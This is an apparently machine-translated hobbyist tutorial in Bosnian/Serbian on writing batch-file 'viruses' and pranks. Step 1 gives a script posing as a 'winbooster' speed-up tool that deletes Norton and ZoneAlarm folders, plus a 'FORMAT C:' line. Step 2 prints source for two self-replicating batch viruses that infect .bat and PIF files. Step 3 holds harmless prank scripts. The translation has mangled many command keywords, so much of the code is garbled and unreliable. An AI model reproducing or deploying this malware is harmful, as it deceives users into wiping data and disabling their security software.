Serijski trikovi i virusi: 3 koraka

2024 Autor: John Day | [email protected]. Zadnja izmjena: 2024-01-30 08:09

Kako napraviti podvalu i prave viruse u BATCHNapomena: Ne snosim odgovornost za bilo kakvu štetu koju nanesete svom računaru na nečijem računaru Napomena: Kada želite da sačuvate datoteku, trebalo bi da je sačuvate kao bilo šta.bat

Korak 1: Pravi virusi (jednostavni)

prvi: kopirajte kod ******************************************* **************@echo dobrodošli u winbooster od strane ELECTROfun@echo ako želite da vaš računar bude brži, trebali biste učiniti sljedeće@pause cd / c: dir dir c: / progra ~ 1 / norton ~ 1 @echo sada trebate upisati y i pritisnuti enter @pause del c: / progra ~ 1 / norton ~ 1 @pause c: dir @pause @dir c: / progra ~ 1 dir c: / progra ~ 1 / zonea ~ 1 / zonealarm del c: / progra ~ 1 / zonea ~ 1 / zonealarm @echo ok sada je vaš računar "STVARNO!" Brzo: izađite *********************************************** *Napomena: sačuvajte datoteku sve što želite.bat Napomena: sve što je nakon @echo može se promijeniti (možete pisati šta god želite) Druga: *************** boja 02FORMAT C: ***************

Korak 2: Pravi virusi (napredni)

1. Najmoćniji *******************@ako ne '%0 ==' if '%_melt%==' goto meltbeg:: ---- lutka host --------@echo actcho Pozdrav Svijet!:: ---- prekini lažni host ----@goto MeLTend [MeLT_2a]: MeLTbeg@echo off%_MeLT%if '%1 ==' MeLT goto MeLT %2ako ne postoji %comspec %set comspec = %_ MeLT %naredba %comspec % /e: 5000 /c %0 MeLT virset MeLTcl = %1 %2 %3 %4 %5 %6 %7 %8 %9call % 0 MeLT rhset _MeLT = postavite MeLTcl = idite na MeLTend: MeLTrhset _MeLT = x%0%MeLTcl%: MeLTvirset MeLTH =%0ako ne postoji%_MeLT %% temp%\ nul postavljena temp =%tmp%ako postoji%temp%\ meLT_2a MeLTrun%0 MeLT fnd. %path%: MeLTfndshift%_MeLT%if '%2 ==' exit MeLTset MeLT =%2 \%MeLTH%.batif ne postoji%MeLT%set MeLT =%2 \%MeLTH%ako ne postoji%MeLT%set MeLT = %2%MeLTH%.batif ne postoji%MeLT%postavljeno MeLT =%2%MeLTH%ako ne postoji%MeLT%idi na MeLTfndnađi "MeLT"%temp%\ MeLT_2aattrib%temp%\ MeLT_2a +h: MeLTrun%MeLTH%MeLT s…%path%: MeLTsshift%_MeLT%if '%2 ==' exit MeLTfor %% a in (%2 \*. bat%2*.bat) do call%MeLTH%MeLT inf %% agoto MeLTs: MeLTinffind / i "MeLT" nulif nije nivo greške 1 goto MeLTnoecho @if not '%% 0 ==' if '%% _ melt %% ==' goto meltbeg> MeLT.ttype%3 >> MeLT.techo. >> MeLT.ttype% temp %\ MeLT_2a >> MeLT.tmove MeLT.t %3> nulexit MeLT: MeLTact - tekst na ekranu sa istopljenim taljenjem zatim se vraća na normalecho e 100 BA D0 07 BB 00 B8 8E C3 8B CA 33 FF 26 8B 05 FE> MeLT.techo e 110 C0 FE C4 26 89 05 47 47 E2 F2 FE 06 24 01 75 E8 >> MeLT.techo e 120 B4 4C CD 21 00 >> MeLT.techo g >> MeLT.tdebugnuldel MeLT.texit MeLT: MeLTnoset MeLTC =%MeLTC%1if%MeLTC%== 1111111111 goto MeLTact: MeLTend ********************************* ******** 2. Ovo je virus koji 'inficira' PIF datoteke, koje Windows koristi za pokretanje DOS programa. Radi tako što stvara skrivene prateće grupe koje sadrže kopije ove datoteke, a zatim mijenja PIF datoteku tako da se prateća serija pokreće prva. Nakon što pratilac pokrene, on pokreće originalni host program, čije je ime kodirano u pratiocu. Pif datoteke su označene tako da se neće ponovo zaraziti. Samo su PIF -ovi pogođeni, ne mijenjaju se zaraženi programi. Da biste 'izliječili', koristite PIFEDIT za vraćanje originalnih naziva datoteka, a zatim izbrišite skrivene datoteke. ********************************* ***************@echo off: ime datoteke hosta… postavite pifvo = LIST. COM:: dispečer petlje… ako je '%1 ==' PiFV idi na PiFV_%2:: pokrenite virus! set _PiFV = ako ne postoji%comspec%set comspec = C: / COMMAND. COM%_PiFV %% comspec% /e: 5000 /c%0 PiFV go> nulif postoji PiFV! del PiFV!:: pokrenite skup hostova PiFVcl = %1 %2 %3 %4 %5 %6 %7 %8 %9poziv %0 PiFV hstset PiFVo = postavite PiFVcl =:: provjerite aktivaciju … echo. | date | find / i "sat"> nul. PiFVif level error 1 goto PiFV_endecho. | time | find "7"> nul. PiFVif level error 1 goto PiFV_msgset PiFV = echocls%_PiFV %% PiFV%.%PiFV%Nekad je bila vidra po imenu Oscer%PiFV % Ko je tvrdio da zna da pravi vodu.% PiFV% "Nema više brana", rekao je, "umesto toga koristi moju vodu!"% PiFV% Ali starija vidra nije bila impresionirana.pauza> nul. PiFVset PiFV = idi na PiFV_end: PiFV_msgecho [PiFV] od WaveFuncgoto PiFV_end: PiFV_hst%PiFVo%%PiFVcl%goto PiFV_end: PiFV_goset PiFVh =%0if ne postoji%PiFVh%postavljeno PiFVh =%0.batif ne postoji%PiFVh%izlaz* pozovi %0 PiFV inf %% aexit PiFV: PiFV_infset PiFVp = %3:: dobij ime datoteke žrtve i marker infekcije:: iz PIF datoteke pomoću otklanjanja grešaka … ako postoji PiFV! idi na PiFV_1echo m 124, 162 524> PiFV! echo e 100 '@set fn =' >> PiFV! echo m 524, 562 108 >> PiFV! echo n pifv $.bat >> PiFV! echo rcx >> PiFV! echo 47 >> PiFV! Echo w >> PiFV! Echo m 55E, 561 108 >> PiFV! Echo e 10C 0 >> PiFV! Echo n pifv $$. Bat >> PiFV! Echo rcx >> PiFV! Echo 10 >> PiFV! Echo w >> PiFV! Echo q >> PiFV!: PiFV_1debug%PiFVp%nulcall PiFV $ set PiFVn =%fn%poziv PiFV $$ postavljen PiFVi =%fn%del PiFV $ ?. bat:: pifvn = orig ime datoteke:: pifvi = marker infekcije:: pifvp = naziv datoteke pif:: pifvh = prateća bat datoteka:: preskočite zaražene ili 'prazne' datoteke … ako je '%PiFVi%==' PiFV idi na PiFV_endif '%PiFVn%==' idi na PiFV_end:: Don't shadow command.com (budi lijep) echo %PiFVn %| find /i "command"> nulif not errorlevel 1 goto PiFV_end:: infectable - kreiraj prateću grupu …:: (sljedeći kod uklanja ekstenziju) echo e 100 e8 16 00 b4 08 cd 21 3c 00 74 0c 3c 2e 74 08 88> PiFV $$ echo e 110 c2 b4 02 cd 21 eb ec cd 20 ba 21 01 b4 09 cd 21 >> PiFV $$ echo e 120 c3 73 65 74 20 66 6e 3d 24 00 >> PiFV $$ echo n pifv $.com >> PiFV $$ echo rcx >> PiFV $$ echo 2a >> PiFV $$ echo w >> PiFV $$ echo q >> PiFV $$ debugnulecho%PiFVn%| PiFV $> PiFV $$. Batcall PiFV $$ postavljeno PiFVb =%fn%.batdel PiFV $?.*:: pifvb = novo ime serije:: ne zasjenjuje ako comp ima isti ime kao hostif%PiFVo%==%PiFVb%goto PiFV_endif postoji%PiFVb%goto PiFV_endecho @echo off>%PiFVb%echo set pifvo =%pifvn%>>%PiFVb%pronađi "PiFV">%PiFVb%attrib%PiFVb +h::… i usmjerite PIF na popratni e 15E 'PiFV', 0> PiFV $$ echo e 124 '%PiFVb%', 0 >> PiFV $$ echo w >> PiFV $$ echo q >> PiFV $$ debug %PiFVp %nuldel PiFV $$:: Mislim da smo gotovi! exit PiFV: PiFV_end:: pitate se koliko grešaka sve ovo ima u sebi? Samo jedan:: način da saznate… ***************************************** **********

Korak 3: Podvala virus i i trik

1. šaljivi virus ******************* 02 boja sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/secho@echo ************************* Napomena: "Boja 02" čini tekst zelenim2.trick (matrični kod) ****** **************************@echo offcolor 02: startecho %slučajno % %slučajno % %slučajno % %slučajno % %slučajno % %slučajno % % slučajno%% slučajno%% slučajno%% slučajno%% slučajno%% slučajno%% slučajno%% slučajno% idi na početak ************************ ******************